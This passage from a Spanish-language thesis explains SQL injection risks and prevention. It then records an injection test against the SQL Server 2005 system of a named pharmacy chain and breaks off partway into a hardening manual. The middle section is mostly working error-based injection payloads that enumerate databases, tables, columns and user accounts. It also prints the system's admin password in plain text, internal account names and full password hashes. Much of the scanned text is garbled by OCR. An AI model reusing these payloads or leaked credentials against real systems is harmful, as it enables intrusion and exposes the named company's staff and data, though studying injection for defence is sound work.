validan correctamente los datos recibidos. Asi, el atacante puede conseguir datos que

no deberia ver, borrarlos, obtener més permisos, etc.
6.6.4 Factores de Riesgo.

Datos externos: La aplicacion permite la adquisicion de datos desde fuentes
externas: usuarios, archivos, etc. En esta relacién, la aplicacion deberia siempre,

asumir que los datos recibidos estan contaminados (tainted data).

Consultas dinamicas: El codigo de la aplicacién emplea un modelo de datos que
requiere el uso de un DBMS y ademas genera consultas al DBMS con los datos
obtenidos de fuentes externas.

Saneamiento: Validacion inapropiada de datos externos. El codigo desarrollado no
filtra adecuadamente los datos recibidos de fuentes externas o no implementa ningln

procedimiento de validacion.
6.6.5 Factores de prevencién

Consultas SQL parametrizadas: Consultas rigidas y predecibles preparadas

empleando una capa de abstraccion del driver SQL en uso por la aplicacion.
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Procedimientos almacenados: Consultas rigidas y predecibles implementadas en el
DBMS.

Validacion contra listas blancas: Controles estrictos que validan de manera rigida
los datos recibidos, incorporando restricciones sobre, tipo de datos, longitud y

formato en general.
6.6.6 Consecuencias

Perdida de la confidencialidad: Que un usuario no autorizado pueda explotar una
inyeccion SQL para abusar del DBMS y obtener acceso no autorizado datos sensibles

genera la pérdida inmediata de confidencialidad de los mismos.

Autenticacion: Que un usuario pueda manipular un artefacto de autenticacién que
recurre a consultas SQL poco robustas como mecanismo de validacion podria
permitir a un agresor emplear inyecciones SQL para comprometer la ldgica

implementada.

Autorizacion: Cuando un sistema poco robusto dependa un de DBMS para la gestion
de privilegios, roles u otros una, inyeccidon SQL podria permitir a un agresor

manipular el sistema para escalar sus privilegios vertical o horizontalmente.

Integridad: Una aplicacion que maneje una conexion con privilegios CRUD en el
DBMS, si expuesta a una inyeccion SQL podria permitir a un usuario mal

intencionado manipular la informacién almacenada.
6.6.7 Tipos de Ataques.

Inyecciones basadas en errores: Este es el tipo de vector mas facil de ejecutar y se
caracteriza por utilizar un canal inband para la transferencia de datos.
Inyecciones ciegas: Este vector de ataque se caracteriza por necesitar, en general,

automatizacioén. Los datos se obtienen por un canal
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Inyecciones basadas en errores La adquisicion de informacion sobre el modelo de
datos empleado, la estructura de la base de datos y si posible de la consulta base sobre
la cual se inyecta es una de las fases mas importantes en un ataque de inyeccion SQL.
Una de las primeras acciones a desarrollar es identificar si es posible crear una
sentencia UNION valida, ya que de ser el caso, la extraccion de informacién del
DBMS se hara de una manera mas eficiente.

e UNION, fuerza bruta

e Técnica de fuerza bruta por Null

e Técnica de fuerza bruta por ORDER BY
Supongamos que en un consulta base, estdn presente 5 columnas, la siguiente

sentencia, generara entonces una consulta UNION valida.

UNION SELECT null, null, null, null, null ——

. ORDER BY 1 —— Sin errores
.. ORDER BY 5 —— 8Sin errores
. ORDER BY 6 — Genera error!
« 132302 <instruccion>=
SELECT CONCAT ("Version >=_5.01.497? "/*!15014% ,"TRUE"x/)

Enumerando bases de datos Como etapa inicial resulta Gtil determinar que bases de

datos se encuentran disponibles en el DBMS.

SELECT schema_name FROM information_schema.
schemata
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Enumerando tablas information_schema también permite enumerar las tablas

correspondientes a una base de datos concreta.

SELECT table_name FROM information_ schema.
tables WHERE table_schema = (SELECT
database () )

Extraccion de datos En posesion de un vector de inyeccion UNION vy la informacion
enumerada, se puede construir la estructura bésica para las inyecciones siguientes con

la que extraer los datos deseados.

UNION SELECT CONCAT ('’ Shell>", (SELECT
columna FROM tabla LIMIT O0,1)), ..., null

La mecénica empleada en esta variante del ataque no difiere de la empleada en las
inyecciones basadas en error, pero si se hace necesario la introduccion de unos

artefactos especiales.

Inyecciones parcialmente ciegas Este caso particular de inyecciones ocurre cuando es
posible inyectar cddigo que sea evaluado en el DBMS pero Unicamente se pueden

observar alteraciones en la respuesta de la aplicacién

AND 1=(SELECT IF (SUBSTRING (@@version,l,1)=<
parametro>,1,0))

Inyecciones totalmente ciegas Esta modalidad ocurre cuando un usuario es capaz de
determinar la existencia de la inyeccion pero no se observa ninguna alteracion en el

comportamiento de la aplicacion.

SELECT IF (SUBSTRING(@@version,1l,1)=<parametro
>, BENCHMARK (100000, SHA1 (1)), 0)
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6.6.8 Extraccion de datos, automatizacion y herramientas

Explotar activamente una inyeccion SQL puede ser lento y tedioso. El uso de
herramientas externas puede introducir limitaciones ya que puede ocurrir que estas no
se encuentran orientadas a trabajar con el DBMS a ser explotado o no implementen

una funcionalidad necesaria.

Un auditor ha identificado en una aplicacion alrededor de 12 puntos de inyeccion. El
administrador del DBMS monitoriza activamente el registro de eventos en blsqueda
de errores y los compara con un baseline. Los resultados se consideran un éxito, si en

cada inyeccion el auditor es capaz de ejecutar un UNION SELECT @ @version.

.’ ORDER BY 1 - — Sin error
.” ORDER BY 2 — — Sin error
. — Sin error
.” ORDER BY n—1 - — Sinerror
.’ ORDER BY n -~ — Con error

Figura 6.6.8. Resultado de consulta 6.6.8.

Fuente:http://jms32.eresmas.net/tacticos/programacion/documentacion/seguridad/S
QLINjection/SQLInjection.html.

En algunas ocasiones puede existir una herramienta con el potencial de realizar el

ataque que deseamos pero se considera necesario extenderla.

6.7 Inyeccidn de codigo a las BD SQL en MS SQL Server 2005 de las farmacias
Cruz Azul Vitalidad de la ciudad de Ambato

El sistema al que se va a realizar las pruebas se llama Neptuno, este se encuentra

sobre una base de datos denominada NeptunoFranquiciado la misma que se

encuentra en SQL server 2005, a continuacion la vista principal de la aplicacién:
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http://jms32.eresmas.net/tacticos/programacion/documentacion/seguridad/SQLINjection/SQLInjection.html
http://jms32.eresmas.net/tacticos/programacion/documentacion/seguridad/SQLINjection/SQLInjection.html

Ul sistema Neptuno - Grupo DIFARE - v1.0.239.8 Release 23/04/2012

Sesitn  Opriones  Ventana  Ayuda

k4 Inicio de Sesidn

Usuario: dires
Contrasefia: ||
Empresa; CRUZ AZUL ¥ITALIDAD#S hd

|‘0 Cancelar |

|@ Areptar

Ed | €]

| [ OFEReTVD | @ @

Figura 6.7.1. Pantalla principal de la aplicacion.

Fuente: Captura de pantalla principal de ingreso al sistema

rosoft SQL Server Management Studio Express
Archivo  Editar  Wer Herramientas Ventana Comunidad — Ayuda

£ v consuea | (3 | 5 L4 g | Bo () B B o o

= AT

= | MeptunoFranquiciado Al

¢ Dpmmmesctsestos || ADMINISTRADOR (SQL Server 9.0.2047 - ADMINISTRADOR\DAV

@ [ Tablas del sistema ADMINISTRADOR 5 elsmentos
dbo.au_bitacora

dbo, au_datos_opciones_sri

dbo.au_datos_tributarios_sri Hombre

dbo.au_datos_usuarios_sri [ Bases de datos

dbo.au_sesion [ sequridad
dbo.ba_archivo_financiadora_cab 3 Ohbietos de servidor

dbo.ba_archivo_financisdora_det o

[ réplica
dbo.ba_archivo_pago_cab )
dbo.ba_archivo_pago_det (3 administracion
dbo.ba_bodega_financiadora
dbo.ba_cheque_anulado
dbo.ba_cheque_banco
dbo.ba_cheque_recibidos
dbo.ba_cheques_depositados
dbo.ba_cheques_invalidos
dbo.ba_cheques_valija
dba.ba_conciliscion_cab
dba.ba_conciliacion_det
dba.ba_cuenta
dba.ba_cuenta_hist
dba.ba_cuenta_mov
dba.ba_deposita
dba.ba_depositos_especisles_cab
dbo.ba_depositos_especiales_det
dbo.ba_detalle_transaccion
dbo.ba_formato_pago
dbo.ba_plantila_cuents_cab
dbe.ba_plantila_cuenta_det
dbo.ba_secuencia_archivo
dbo.ba_tipo_comprobante
dbo.ba_tipo_transaccion —
dbo ba transaction 3| ‘i Help make Microsoft® SQL Server™ 2005 better! | %
=] e | 5| Participate in the Customer Experience Improvement Program,
— — Click here ta learn how...
Listo .

FEPEREENEEE NN R REREENREREERR
DD DD

Figura 6.7.2. Bd NeptunoFranquiciado.
Fuente: Captura de BD NeptunoFranquiciado
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La aplicacion requiere identificacion de usuario y contrasefia. Si intentamos entrar un
usuario y Contrasefia al azar la aplicacion nos dira “Login es invalido, no corresponde
a esta empresa o esta deshabilitado” El Usuario y Contrasefia correcto son: “admin” y

“dires2012”. Podemos comprobarlo introduciéndola.

Usuario: |admin

Conkrasefia: |nuuu.

Empresa: |CRI_IZ AZLL WITALIDAD#S

1+ Aceptar Q.’ Cancelar

Mensaje de Bienvenida

\1‘) Bienvenido al siskerma Meptuna, Administrador del siskernal 111

Figura 6.7.3. Acceso exitoso al sistema.

Fuente: Captura de pantalla del acceso exitoso al sistema

Pues bien ahora es necesario comprobar si existe alguna vulnerabilidad, asi como el
tipo de dato del parametro (entero/int o cadena/string) ya que esta informacion es
importante a la hora de construir las peticiones para obtener la informacion del
DBMS.

6.7.1 Detectando vulnerabilidades de inyeccion de codigo SQL
La forma de verificar si el sistema es vulnerable es introduciendo una comilla en el
parametro o variable a comprobar. Realizando la peticion:

usuario : admin

contrasefa: dires’
Se obtuvo el error: Unclosed quotation mark after the character string "dires™.
Este error retorna el DBMS indica que no se ha cerrado correctamente las comillas,

como se puede observar en la siguiente captura de pantalla:
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http://server/insertar.asp?texto=admin'

* Mensaje del Broker Q@@

[Getlzer Principal(]][GetUzer Principal(]] El usuarnio 'y
conzultado admin Microsaft OLE DB Provider For SEL

zerver emar “30040e14” Unclozed quotation mark, after the
caracter sting “admin’

[ Aceptar l [ << Menoz detalles
Detalles:
Origer:  Meptuno.Broker. StandaloneS erver S
Tipo: BrokerE sception
Menzaje:

[Getlser Principal()[GetUzer Principal(]] El usuanio congsultado admin
icrozoft OLE DB Provider For SOL server error "80040214" Unclozed
quotation mark. after the caracter sting “admin’

Figura 6.7.1.1 Error del DBMS.
Fuente: Captura de pantalla Error del DBMS

A continuacion se va a tratar de obtener el nombre del servidor usando la variable

@@servername mediante la siguiente peticion:
dires'+and+1=convert(int,@@servername)--

Se observa que el nombre del servidor, en este caso es administrador

* Mensaje del Broker g@@

[GetUzer Principal(]] El usuario conzultado: dires'+and+1 .
=convertint BiEservernanmel-
Microzaft OLE DB Provider For SHL Server error ‘8004007
Corwversion failed when converting the nvarchar waule

[ Aceptar ] [ << Menos detalles ]
D etalles:
Tipo: BrokerE sception .
Mensaje:

[GetUzer Principal(]] El usuario conzultado: dires'+and+1 =canwert(int.
BiEzervername]-

icrozoft OLE DB Provider for SOL Server error "20040e07"

Convwerzion failed when conwerting the nvarchar waule Els{ilaEEE s gto

data type int -

Figura 6.7.1.2 Nombre del servidor.

Fuente: Captura de pantalla nombre del servidor
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Lo siguiente serd obtener el nombre de la base de datos a la que esta conectada la
aplicacion dentro del DBMS, para lo cual se va a utilizar la funcién db_name(). Esta
funcién se la utiliza sin parametros, ya que devolvera el nombre de la base de datos a

la que esta conectada la aplicacion.
Se utilizara la siguiente peticion:

dires'+and+1=convert(int, do_name())--

X Mensaje del Broker E@@

[Getdzer Principall]JE| usuano consultado:; dires'+and+1 ~
=convertint db_namef])-
Microsaft OLE DB Provider for SOL Server emor "80040=07"

Corvverzion failed when converting the nvarchar waule b

[ Bceptar ] [ << Menos detalles

Detalles:

tenzaje: s
[Getldzer Principal(]] El usuario consultade: direz'+and+1 =conwvert]int
db_namel]]-

Microzoft OLE DB Provider for SOL Server eror '20040=07

Corvversion failed when converting the nvarchar vaule

‘Heptunofranguiciado’ [ = =R =R 8

Figura 6.7.1.3 Nombre de la BD.
Fuente: Captura de pantalla Nombre de la BD

Para la préctica se obtendrd el nombre de las diferentes bases de datos existentes
dentro del DBMS, para lo que se utilizara la misma funcion utilizada anteriormente
db_name(). Con la variante de introducir un valor numérico que varia entre 0
(similar a no introducir parametros) y n, siendo n el nimero de bases de datos del
DBMS. Para el ejemplo, se obtendra las diferentes bases de datos del sistema con las

siguientes peticiones:
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dires'+and+1=convert(int, db_name(1))--

X Mensaje del Broker Q@@

[GetUzer Principall]]E| usuarnio consultado: dires'+and+1 '
=corwvertfint , db_name(1])-
Microgoft OLE DB Provider for SOL Server error "80040e07"

Conversion failed when converting the nvarchar vaule bs
[ Aceptar ] [ << Menoz detalles
Detalles:
Tipo: BrakerE sception ~
henzaje:
[GetUzer Principal()]E| usuanio conzultado:  dires'+and+1=convertint
db_narme(1])-

Microzoft OLE DB Provider for SOL Server eror '80040e07"
Caonverzion falled when converting the rvarchar vaule THERE to data bupe
int. "

Figura 6.7.1.4 Base de datos master.
Fuente: Captura de pantalla base de datos master

Base de datos model
dires'+and+1=convert(int, db_name(2))--
Base de datos msdb
dires'+and+1=convert(int, db_name(3))--
Base de datos tempdb
dires'+and+1=convert(int, db_name(4))--

A partir del nimero cinco comienzan las bases de datos creadas por el administrador
y coincide que el nimero cinco es a la que originalmente se conecta a la aplicacion.

Base de datos NeptunoFranquiciado.
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dires'+and+1=convert(int, db_name(5))—

X Mensaje del Broker Q@@

[GetUzer Principal[]JEl uzuano consultado: dires'+and+1 e
=convert(int . db_name(5])-
Microzoft OLE DB Provider for SOL Server eror ‘8004007

Conversion failed when converting the nvarchar vaule (v
[ Aceptar ] [ << Menos detalles
Detalles:
Tipo: BrokerE sception #
hMenszaje:

et zer Principal(J]El uzuanio conzultado: dires'+and+1=convert{int ,

Microzoft OLE DB Provider for SOL Server error "80040e07
Corverzion failed when converting the mvarchar wvaule
‘MeptuncFranguiciado’ to data type int. w

Figura 6.7.1.5 Base de datos NeptunoFranquiciado.

Fuente: Captura de pantalla base de datos NeptunoFranquiciado

Al comprobar que el DBMS contiene cinco bases de datos ya que al consultar la
namero seis, el sistema retorna un error (error '‘80020009") indicando que la consulta

no obtiene resultado.

dires'+and+1=convert(int, db_name(6))--

X Mensaje del Broker E@@
[GetUzer Principal(]]E| usuario conzultado: dires'+and+1 ~
=convert(int . db_name[E]]- error '80020003
linea 12
~
[ Aceptar ] [ <« Menos detalles
Detalles:
Ornigen: Meptuno.Broker. Standalones erver -~
Tipo: BrokerE mceplion
lMenzaje:
[GetUszer Principal(]]E| usuario conzultado: dires'+and+1=corwvert(int |
db_name(E])- eror '80020009°
linea 12
-

Figura 6.7.1.6 Error consulta no obtiene resultado.

Fuente: Captura de pantalla error consulta no tiene resultado
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6.7.2 Detectando la vulnerabilidad de inyeccion de codigo SQL con la funcion
CONVERT de MS SQLSERVER

Esta funcion de conversion de tipos de datos de MS SQLSERVER es muy util para
la explotacion de inyecciones de codigo SQL, ya que permite Obtener informacion
en los casos que no sea posible con la clausula UNION.

La sintaxis de la funcion es la siguiente: convert(A, B), siendo B el dato que
gueremos convertir en el tipo de dato A.

Por ejemplo, si se tiene un dato string pagina='25" se realizaria la siguiente

conversion para obtener un entero convert(int,pagina).

Hay que tomar en cuenta que todos los tipos de datos no son convertibles, por lo que
si se intenta una conversion del tipo convert(int, ‘"HOLA'") el DBMS de MS

SQLSERVER mostrara un error de conversion de tipos.

En la conversiéon de tipos, el DBMS retorna la cadena que no ha sido posible
convertir, al introducir un SELECT en vez de una cadena, por ejemplo. Es posible
consultar la version mediante la variable @@version con la siguiente consulta:
dires'+and+1=convert(int, @ @version)--

Obteniendo el siguiente resultado.

[Getlzer Principal(]] El usuario conzultado: direz” and 1 -~
=cotvert(ing v ersion]-
Microzoft OLE DB Prowvider for SAL Server emror

‘BO040=07" b
[ Aceptar ] [ << Menos detalles ]
Detalles:
et TR SIS RS T
tMenzaje: s>
[Getlzer Principall]] El usuario consultado: dires” and 1=conwvert(int,
(Eyer siarn]-

Microzaft OLE DB Prowvider for SAL Server error "80040=07"

Conversion falled when cornverting the nvarchar walue -kMicrozoft SGL

Server 2005 - 9.00.1399.06 [intel $86) Sept 2005 00: 3337

Copyright & 1338-2005 Microzoft Corparation Enterprize Edition an b

Figura 6.7.2.1 Vulnerabilidad con la sentencia CONVERT de MSQLERVER
Fuente: Captura de pantalla version del DBMS
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El DBMS intenta convertir el tipo nvarchar resultado de consultar el @@version
en tipo entero, como no es posible realizar la conversion retorna un error dentro del

cual muestra la version del DBMS.

Al explicar las novedades introducidas en la consulta anterior es posible apreciar que:

e En primer lugar las comillas se encuentran cerradas del parametro dires’

e A continuacion esta introducida la sentencia logica and
1=convert(int,@@version) en la que debe cumplirse que 1 sea igual a la
conversion en entero del @@version, se realiza esto para construir una

consulta sintacticamente correcta.
e Al final, se introduce los caracteres -- de comentario, para eliminar el resto de la

consulta original de la aplicacion, esto se lo realiza para que no se produzca un
error de sintaxis, esto mismo podemos sustituirlo por la cadena and 'a’'='a’ la

cual cumpliria la misma funcidn de evitar el error de sintaxis.
El caracter + en ulr encoding es igual a en el valor hexadecimal en ascii (20) por lo
que es lo mismo escribir, espacio, %20, +, %2b en los cuatro casos sera interpretado

COmMO un espacio.

La siguiente informacién a  obtener son las tablas de la base de datos

NeptunoFranquiciado con la siguiente consulta:

dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia

do.. sysobjects+order+by+name))--
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* Mensaje del Broker g@@

[GetUzer Principal(]] El usuario consultado: dires’ and 1 .
=corwvertint [SELECT top 1 name FRORM
MeptunoFranguiciado. . syzobjects order by name]]-

Microzaft OLE DEF Prawvider for SOL Server error v
[ Sceptar ] [ << Menos detalles
Detalles:
[GetUs'er Frincipal(]] El usuario consultado: dires' and 1=corveertint, i

[SELECT top 1 name FROM MeptunoFranquiciado.. syzobjects arder by
rname]]-

ticrozaft OLE DEF Provider for SOL Server ermor "80040e07”

Corversion failed when conwerting the nvarchar walue ‘'dbo.au_bitacora -~

ta data type int

Anzerter. azp. linea 15 bt

Figura 6.7.2.2 Tabla: dbo.au_bitacora
Fuente: Captura de pantalla de obtencion de tabla dbo.au_bitacora
Para consultar el resto de tablas se realiza la misma operacion que se realizo
anteriormente con la diferencia que se utilizara el signo >para consultar la tabla que

sea mayor que la tabla dbo.au_bitacora.

Consulta:

dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do.. sysobjects+where+name>'+dbo.au_bitacora'+order+by+name))--

Tabla: dbo.au_datos_opciones_stri

Consulta:
dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do.. sysobjects+where+name>+'dbo.au_datos_opciones_sri *+order+by+name))--
Tabla: au_datos_tributarios_sri

A continuacion se va realizar un conteo de los campos que contiene una tabla

utilizando la sentencia count.
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Consulta:

dires'+and+1=convert(int,(SELECT +(count(*)+as+NeptunoFranquiciado..syscol

ums+ WHERE+ id = (SELECT top 1 id FROM

NeptunoFranquiciado..sysobjects WHERE name = *dbo.sg_usuario’)))--

Resultado: 210" lo que indica que tiene diez campos la tabla.

Pues bien ahora se realizara una consulta con subconsulta, en la que se consultara los
campos (tabla de sistema syscolumns) de la tabla que se va consultar (tabla del
sistema para consulta de tablas sysobjects) haciendo hincapié en que lo Unico que
hay que cambiar en la consulta es el name='dbo.sg_usuario’, donde se debe poner el

nombre de la tabla cuyos campos se desea obtener.

Consulta:

dires'+and+1=convert+(int,(SELECT+top+1+name+NeptunoFranquiciado..sysc
oluns+WHERE+id+=+(SELECT+top+1+id+FROM+NeptunoFranquiciado..syso

bjects WHERE name ='dbo.sg_usuario")))--

[Getldzer Principall]] El usuario conzultado: dires’ and 1
=canwvert [inbL[SELECT top 1 name

MeptunoFranquiciado. . syscolurmns 2WHERE id = [SELECT
top 1 id FROM MeptunoFranquiciadao.syzobjects "WHERE

LS

[ Aceptar ] [ <« Menosz detalles

Detalles:

[G:atLlTsln;r Frincipall]] El uzuario consultado: dires' and 1=conwvert [int,
[SELECT top 1 name MeptunoFrangquiciado. . syzcolumns “HERE id =

= 'dbo.sg_usuario']]]--

bicrozaft OLE DEP Provider for SCIL Server error "80040207"
Converzion failed when converting the nvarchar walue s BEENET
type int

[SELECT top 1 1d FROM MeptunoFranguiciado. . sysobjects WHERE name

" to data

o

il

Figura 6.7.2.3 Campo: id_usuario

Fuente: Captura de pantalla campo id_usuario

Ahora se procedera a obtener el siguiente campo por el método seguido en los casos

anteriores de comparacion con la siguiente consulta:
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dires'+and+1=convert+(int,(SELECT+top+1+name+NeptunoFranquiciado..sysc
oluns+WHERE+name>'id_usuario’+and+id=(SELECT+top+1+id+FROM+Nept

unoFranquiciado..sysobjectstWHERE+name = *dbo.sg_usuario')))--

Campo: is_empresa

En la consulta anterior lo Unico afiadido ha sido la clausula WHERE name>
'id_usuario’ en la que para obtener los campos hay que cambiar usuario por el

resultado obtenido en la primera consulta de obtencion de campos (Figura 6.7.2.3).

Para continuar obteniendo la informacion y por motivos de la practica se realizara la
consulta en la tabla dbo.sg_usuario dentro de las tablas de la BD, con la siguiente

consulta:

+ =] dbo.sg_ral
1 E

¥ =1 dbo,sg_usuario_ral

dbo,sg_usuario

Figura 6.7.2.4 Tabla Usuarios de la BD NeptunoFranquiciado.
Fuente: Captura de pantalla Tabla Usuarios

dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia

do ..dbo.sg_usuario))--

Y obtenemos el siguiente usuario: admin (administrador del sistema)
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X Mensaje del Broker E@@

[GetUzer Principal(]] El usuario consultado dires’and 1= ”
convert(ink, [SELECT top 1 name FROM
MeptunoFranquiciado..dbo.zg_uszuana]]-

- b
[ Aceptar ] [ <¢ Menoz detalles ]
Detalles:
Origern:  Meptuno.Broker. StandaloneServer ~
Tipo: ErokerE sception
kMensaje:

[Getldser Prncipal(]] El usuano consultado dires”and 1= convertfint,

[SELECT top 1 name FROM MeptunoFranguiciado. . dbo.=g_usuarial]-
Microzoft OLE DEP Provider for SOL Server error 2004007

Conversion failed when converting the nvarchar value EENME to data tupe

Figura 6.7.2.5 Obtencion el usuario: admin

Fuente: Captura de pantalla obtencién de Usuario admin

Esto dependerd de los privilegios que tenga el usuario con el que se conecta la

aplicacion al DBMS.

Las novedades introducidas en la consulta son las

siguientes:(SELECT +top+1+name+FROM+dbo.sg_usuario)

e top 1: la consulta devuelve muchos valores y esto produce el error Subquery
returned more than 1 value, por lo que es indispensable decirle que nos devuelva
s6lo uno, introduciendo esta clausula.

e NeptunoFranquiciado..dbo.sg_usuario: la aplicacién se conecta a la base de
datos por lo que si queremos consultar una tabla que pertenezca a una base de
datos diferente dentro del DBMS tenemos que utilizar el formato
<BASE_DE_DATOS>.<TABLA>.

A continuacion se va tratar de obtener los diferentes usuarios del DBMS realizando
comparaciones, es decir, al obtener el usuario admin se consultara al DBMS otro
usuario cuyo nombre sea mayor a admin, hasta obtener un error que indique que ya

no existen mas usuarios. Para ello la siguiente consulta:
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dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia

do..dbo.sg_usuariot+where+name>‘admin))--

* Mensaje del Broker g@@

[Getdzer Pnncipall]] Microzaft OLE DB Provider for SQL -~
Server error "S0040e07"

Converzion faled when corrverting the nvarchar walue

SERVERMNSOLS erver2005MSSH LY entasi SERYER e
l Aceptar ] [ << Menosz detalles ]

Cretalles:
Origer: Meptuno. Broker. Standalones erver ”~
Tipo: BrakerE xception
rMenszaje:
[Getdzer Principall]] Microzoft OLE DB Provider for SOL Server ermor
‘BO040e07

Corwversion failed when conwerting the nvarchar walue SERVYER
foI]LSewerEDDEM5SI]L"v"entas$5EFWEFE$MSSE!LSEFE"\-"EF|’ to data bype s

Figura 6.7.2.6 Obtencion del usuario ventas

Fuente: Capturas de pantalla obtencion del usuario ventas

SERVER\SQLServer2005MSSQL Ventas$SERVERSMSSQLSERVER

Una vez obtenido este usuario se realizara lo propio para obtener el siguiente con la
consulta:
dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do..dbo.sg_usuario+where+name>SERVER\SQL Server2005MSSQL Ventas$SE
RVER$SMSSQLSERVER))--

SERVER\SQLServer2005SQLEdwinlopez$SERVER$MSSQLSERVER

Y asi sucesivamente con todos los usuarios.
dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia

do..dbo.sg_usuario+where+name>SERVER\SQL Server2005SQLEdwinlopez$S
ERVER$MSSQLSERVER))--
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Resultado:
SERVER\SQLServer2005SQLpaulfreire$SERVER$MSSQLSERVER

El proceso se repetira hasta obtener el usuario admin:

dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do..dbo.sg_usuario+where+name>SERVER\SQL Server2005SQLpaulfreire$SE
RVER$MSSQLSERVER))--

Usuario: ## contador#

dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do..dbo.sg_usuario+where+name>SERVER\SQL Server2005SQL contador$SER
VER$MSSQLSERVER))--

usuario: Dires\Administrador
dires'+and+1=convert(int,(SELECT+top+1+name+FROM+NeptunoFranquicia
do..dbo.sg_usuario+where+name>SERVER\SQL Server2005SQLdires$SERVE
R$MSSQLSERVER))-

Usuario: supervisor\supervidor

Ahora se realizaran consultas para la obtencion de los datos, este paso sera mas
sencillo ya que se va a tratar de construir consultas SQL normales debido a que se
obtuvo previamente el nombre de la base de datos, las tablas y los campos a los
cuales se van a realizar las consultas, por lo que las mismas se simplificaran bastante,

al no ter que consultar tablas del DBMS.

dires'+and+1=convert(int,(SELECT+top+1+login+~+char(94)+contrasefia+FRO

M NeptunoFranquiciado.. dbo.sg_usuario+order+by+login))--
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Datos:admin”0xA35E240508DD8C4891C172F2AB4B3C491F7F934EB339F97207
775BC82051BFE1BE57372A40A10C0FC478962A1A335900F2203FADB7D8075C
9ACCD3750687D0BBD558FC63F3AES99B624F9154D6E76B6E79AAACFE2339
BECOD759BA18701D43B21040B85594678E46D4384EA25B45A1296136F1E2BC
1CB5FCDDCAEBF8A2A02EEADS820

En este caso el error nos retorna el usuario admin con su respectiva contrasefia, cabe

destacar que existe una directiva de seguridad al almacenar la contrasefia en la BD.

X Mensaje del Broker E@@

[Getlzer Principal()]El uzuarnio conzultado: dires' and 1 .
=convert [ink[SELECT top 1 login+char(34)+contrasefia
FROM MeptunoFranquiciado.. dbo.zg_usuario arder by

login] |- b’
[ Aceptar l [ << Menos detalles
Detalles:
MICTOZON ULE UBE ETOVIOET 07 oWl S erver ermol oUUdlely =

Converzion faled when converting the nyarchar walue “admin

Ot 35E 2405020 DEC481C1 F2F28B 4B 3C4 FAFI34EB 339F 37 207775
BCB2051BFETBESY 372440451 0COFCA 396241 A335300F 2203FADEB FDE0
FACIACCDATE0RETYDOBED 558FCE3F IAE BIIBE24F 31 540 BE FEEGE 7t
ACFEZI3S9BECOD YS9BATE701 D436 21 040BER59467EE 460 4 384EA25E 4

A1 2961 36F1EZ2BCT CBSFCODCAEBFEAZANZEEADBZ0" to data type int 3

Figura 6.7.2.7 Eerrores con usuario y contrasefia de usuario admin

Fuente: Captura de pantalla usuario y contrasefia de usuario admin

Para obtener mas datos simplemente se procedera mediante el método seguido en los

casos anteriores de comparacion utilizando la siguiente consulta:

dires'+and+1=convert(int,(SELECT+top+1+login+char(94)+contrasefia+tFROM

NeptunoFranquiciado..dbo.sg_usuario+where+login>‘admin’+order+by+login)--
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Datos: ventas *
0x91CFC14FFEE38B1809996B57572D0E9C5EB4B548527A6892697B9C78D684
A6651296E22F51768C30C2EDD4E6599594C5526E40DFO0CD6212B8252ECCDF2
080784BD069E770C2BBOA77FID55BB36AB156A80B10046927BD0OB700B6D91
49DE8259C1077113B93FFICFA4DBB0BCAD02FIB6CE65A267C3BCOSAES49A
AB596C626AC107C20

En la consulta anterior lo Unico afiadido ha sido la clausula WHERE login>'admin’
en la que para obtener los datos hay que cambiar el login por el resultado obtenido

en la consulta anterior la cual permitird obtener el siguiente campo.

6.8 Manual para prevenir Inyeccion de codigo SQL a las BD SQL Server 2005
de las farmacias Cruz Azul Vitalidad de la ciudad de Ambato

Haciendo uso del manual de manera local solo se puede prevenir que alguien tenga
acceso de manera fisica a los datos, pero si alguien con conocimientos en el tema
logra ingresar a las instalaciones podria realizar inyeccion SQL.

En la empresa se implementaran todas las medidas de seguridad posibles, pero el

sistema tiene falencia en la programacién, algo que el administrador no puede evitar

6.8.1 Habilitar Protocolos de servidor

1. Inicio, SQL SERVER 2005, herramientas de configuracion seleccione
Administracion de configuracion de SQL Server 2005.

2. En el panel de la consola, haga clic en Protocolos de MSSQLSERVER.

3. En el panel de detalles, haga clic con el boton secundario en el protocolo que
desea cambiar y, a continuacién, haga clic en Propiedades y luego en

habilitado seleccione si 0 no.

79



archiva  Accién  ver  Avuda

P B =2
$3 Administrador de configuracicn de SQL Server {Loc|| Mombre de protocolo Estado
Servicios de‘SQL Server 2005 %~ Memoria compartida  Habilitado
= H  Configuracién de red de SQL Server 2005 ¥~ Canalizaciones co... Deshabiltada
Frotocolos de SQLEXPRESS “w—TCRjTP Habilitads
Frotocolos de MSSQLSERVER A Deshabilitada

B} Configuracicn de SQL Mative Client

Propiedades de TCP/IP =3

Pratocolo | Direcciones IP

=
Escuchar todo Si

Sin retraso Mo |

Habilitado
Habilitar o deshabilitar el protocolo TEPIP para esta instancia del servidor

|~

| =

G5 Concisione]

Figura 6.8.1 Habilitar Protocolos de servidor
Fuente: Captura de pantalla configuracion protocolos del servidor

4. A continuacion, se debe Reiniciar los servicios de SQL Server.

6.8.2 Configurar protocolos y bibliotecas de red de servidores de red

1. Inicio = todos los programas = Microsoft SQL SERVER 2005, - herramientas
de configuracion - seleccione configuracion de superficie de SQL server.

2. En el panel de la consola, haga clic en Configuracion de superficie para
Servicios y conexiones.

3. En el panel de consola, haga clic en conexiones remotas y seleccione solo

conexiones locales
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B Configuracidn de superficie para servicios ¥ conexiones - localhost

M

SQL Server 2005 Surface Area Configuration
& Proteja su servidor SQL Server

Habilite =dlo los servicios p tipos de conexidn utilizados por laz aplicaciones. Si deshabilita loz servicios p conexiones que no e
utilizan, e protege el servidor al reducir la superficie. Para ver la configuracidn predeterminada, vea la Ayuda.

Seleccione un componente y, a continuacion, configure suz servicios y conexiones:

=l | MSSOLSERVER De manera predeterminada, las ediciones Express, Evaluation y Developer de SGL
= [l Database Engine Server 2005 zdlo permiten conexiones de clientes locales. Laz ediciones Enterprise,

- Standard v Workgroup también escuchan conexiones de clientes remotog a través de
TCPAP. Use las siguientes opciones para cambiar loz protocolos en los gue escucha
S0L Server las conexiones de clientes entrantes. Se prefiere TCPAARP a las
